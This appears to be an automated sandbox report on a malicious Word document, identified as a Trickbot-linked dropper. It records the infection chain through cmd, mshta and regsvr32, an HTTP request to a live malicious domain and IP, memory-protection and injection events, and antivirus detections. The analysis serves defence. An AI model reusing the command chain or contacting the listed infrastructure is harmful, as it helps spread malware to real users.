Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Aug. 3, 2021, 9:32 a.m.	Aug. 3, 2021, 9:34 a.m.

Size	75.8KB
Type	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
MD5	`97d717e44f8f2faf01af69a10886718a`
SHA256	`5cd0951a1172d5b029f180da1d44826bb6ca117acf15df52671464038114455f`
CRC32	`BB04CD58`
ssdeep	`1536:EYnb1puKpoQHr11AQYyqGJHQYCDEtU6dLTR97AL4Lhuw200pZpOA151rzbxaDYbb:LbJoSxQYNtU6ZvAL4Lhuw27zpOA15ZzD`
Yara	None matched

WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office15\WINWORD.EXE" C:\Users\test22\AppData\Local\Temp\facts.08.21.doc
1468
- cmd.exe cmd /c c:\users\public\varForFor.hta
  460
  - mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\varForFor.hta"
    1720
    - regsvr32.exe "C:\Windows\System32\regsvr32.exe" c:\users\public\varForFor.jpg
      2468

Name	Response	Post-Analysis Lookup
camachovioling.com	A 45.95.11.132	45.95.11.132

IP Address	Status	Action
164.124.101.2	Active	Moloch
45.95.11.132	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 3, 2021, 9:32 a.m.		1	1	0

Performs some HTTP requests (1 event)

request

GET http://camachovioling.com/bdfh/42817/nTaQuD3SzLsSBS6e12bKPSrNtt5cVpQkENVZDd2ykLqRI2N/8nAUDRaaEuSYL/O4x/9UCY8heIznFmAqMSL9VJcMVUuZ8RI2py/4tSZYzuPskqnmIhk3b8VlIASCLKpFkb/RZA5jM9CbEbkqanyvrX9o4Esy9FjYfJ47u3zVsm9UeR/q/H8RkWViGdVNkvH5Dfmoqq/3vcqms45GLbESn9NhL4NJT/vaq3?search=BCFNUolZx&q=4LjHCiNGLcfaBFuaIqT8eHh2H&id=fbT0sjjwqP6&user=AsvpDjipATdFg9S&id=lmJ5dJHdBeMU6BjCM2&page=gEwAwD8pu

Allocates read-write-execute memory (usually to unpack itself) (39 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6a6be000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f8000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f8000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0498f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0498f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0498f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0498f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0498f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0498f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048f9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ec2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 2468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6af81000 process_handle: 0xffffffff	1

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$cts.08.21.doc

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile Aug. 3, 2021, 9:32 a.m.	create_disposition: 5 (FILE_OVERWRITE_IF) file_handle: 0x0000047c filepath: C:\Users\test22\AppData\Local\Temp\~$cts.08.21.doc desired_access: 0x40100080 (FILE_READ_ATTRIBUTES\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$cts.08.21.doc create_options: 4194400 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT) status_info: 2 (FILE_CREATED) share_access: 0 ()	1	0	0

Creates a suspicious process (3 events)

cmdline	"C:\Windows\System32\regsvr32.exe" c:\users\public\varForFor.jpg
cmdline	"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\varForFor.hta"
cmdline	regsvr32 c:\users\public\varForFor.jpg

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Aug. 3, 2021, 9:32 a.m.	process_identifier: 1468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA Aug. 3, 2021, 9:32 a.m.	key_handle: 0x0000039c regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

A command shell or script process was created by an unexpected parent process (1 event)

parent_process

winword.exe

martian_process

cmd /c c:\users\public\varForFor.hta

One or more non-whitelisted processes were created (1 event)

parent_process

winword.exe

martian_process

cmd /c c:\users\public\varForFor.hta

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 460 resumed a thread in remote process 1720
NtResumeThread Aug. 3, 2021, 9:32 a.m.	thread_handle: 0x0000022c suspend_count: 1 process_identifier: 1720	1	0	0

File has been identified by 20 AntiVirus engines on VirusTotal as malicious (20 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	VB:Trojan.Valyria.2606
McAfee	XML/Trickbot.a
Symantec	Trojan.Gen.NPE
Avast	SNH:Script [Dropper]
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	VB:Trojan.Valyria.2606
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi
Ad-Aware	VB:Trojan.Valyria.2606
DrWeb	Exploit.Siggen3.19484
FireEye	VB:Trojan.Valyria.2606
Emsisoft	VB:Trojan.Valyria.2606 (B)
MAX	malware (ai score=82)
Microsoft	Trojan:Script/Woreflint.A!cl
GData	VB:Trojan.Valyria.2606
ALYac	VB:Trojan.Valyria.2606
TACHYON	Suspicious/XML.Obfus.Gen.8
Ikarus	Trojan-Dropper.VBA.Agent
AVG	SNH:Script [Dropper]
Qihoo-360	virus.office.qexvmc.1065

facts.08.21.doc

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All